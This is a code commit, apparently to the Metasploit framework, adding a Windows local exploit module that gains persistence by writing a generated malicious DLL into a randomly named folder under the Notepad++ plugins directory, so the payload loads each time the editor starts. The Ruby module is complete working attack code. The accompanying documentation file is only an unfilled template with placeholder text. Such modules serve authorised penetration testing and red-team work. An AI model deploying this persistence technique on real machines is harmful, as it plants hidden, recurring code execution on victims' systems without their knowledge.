Adds notepad++ persistence module for Windows

documentation/modules/exploit/windows/persistence/notepadpp_plugin_persistence.md

@@ -0,0 +1,40 @@
+## Vulnerable Application
+
+Instructions to get the vulnerable application. If applicable, include links to the vulnerable install
+files, as well as instructions on installing/configuring the environment if it is different than a
+standard install. Much of this will come from the PR, and can be copy/pasted.
+
+## Verification Steps
+Example steps in this format (is also in the PR):
+
+1. Install the application
+1. Start msfconsole
+1. Do: `use [module path]`
+1. Do: `run`
+1. You should get a shell.
+
+## Options
+List each option and how to use it.
+
+### Option Name
+
+Talk about what it does, and how to use it appropriately. If the default value is likely to change, include the default value here.
+
+## Scenarios
+Specific demo of using the module that might be useful in a real world scenario.
+
+### Version and OS
+
+```
+code or console output
+```
+
+For example:
+
+To do this specific thing, here's how you do it:
+
+```
+msf > use module_name
+msf auxiliary(module_name) > set POWERLEVEL >9000
+msf auxiliary(module_name) > exploit
+```

modules/exploits/windows/persistence/notepadpp_plugin_persistence.rb

@@ -0,0 +1,79 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Local
+  Rank = ExcellentRanking
+
+  include Msf::Post::File
+  include Msf::Exploit::EXE
+  include Msf::Exploit::Local::Persistence
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Notepad++ Plugin Persistence',
+        'Description' => %q{
+          This module create persistence by adding malicious plugin to Notepad++. The application does not perform any checks on plugins its loading. The module drops malicious DLL into plugin directory. Upon starting the Notepad++, malicious DLL gets loaded and executed. This creates persistence mechanism as the DLL will get loaded upon every run of application.
+        },
+        'License' => MSF_LICENSE,
+        'Author' => [ 'msutovsky-r7' ],
+        'Arch' => [ARCH_X64, ARCH_X86],
+        'Platform' => [ 'win' ],
+        'SessionTypes' => [ 'meterpreter', 'shell' ],
+        'Targets' => [
+          [ 'Automatic', {} ]
+        ],
+        'DisclosureDate' => '2005-12-11', # plugins were added to Notepad++
+        'DefaultTarget' => 0,
+        'References' => [
+          ['URL', 'https://www.cybereason.com/blog/threat-analysis-report-abusing-notepad-plugins-for-evasion-and-persistence']
+        ],
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+
+    register_options(
+      [
+        OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.']),
+      ]
+    )
+  end
+
+  def get_plugin_dir
+    expand_path('%PROGRAMFILES%\\Notepad++\\plugins\\')
+  end
+
+  def check
+    @plugin_dir = get_plugin_dir
+    if directory?(@plugin_dir)
+      return CheckCode::Vulnerable('Notepad++ plugin directory detected')
+    end
+
+    CheckCode::Safe('Notepad++ is probably not present')
+  end
+
+  def install_persistence
+    @plugin_dir ||= get_plugin_dir
+
+    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(6..13)))
+    payload_pathname = @plugin_dir + payload_name + '\\'
+    payload_exe = generate_payload_dll
+
+    vprint_good("Writing payload to #{payload_pathname}")
+
+    fail_with(Failure::UnexpectedReply, 'Error while creating malicious plugin directory') unless session.fs.dir.mkdir(payload_pathname)
+
+    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname + payload_name + '.dll', payload_exe)
+
+    vprint_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_pathname}")
+    @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
+  end
+end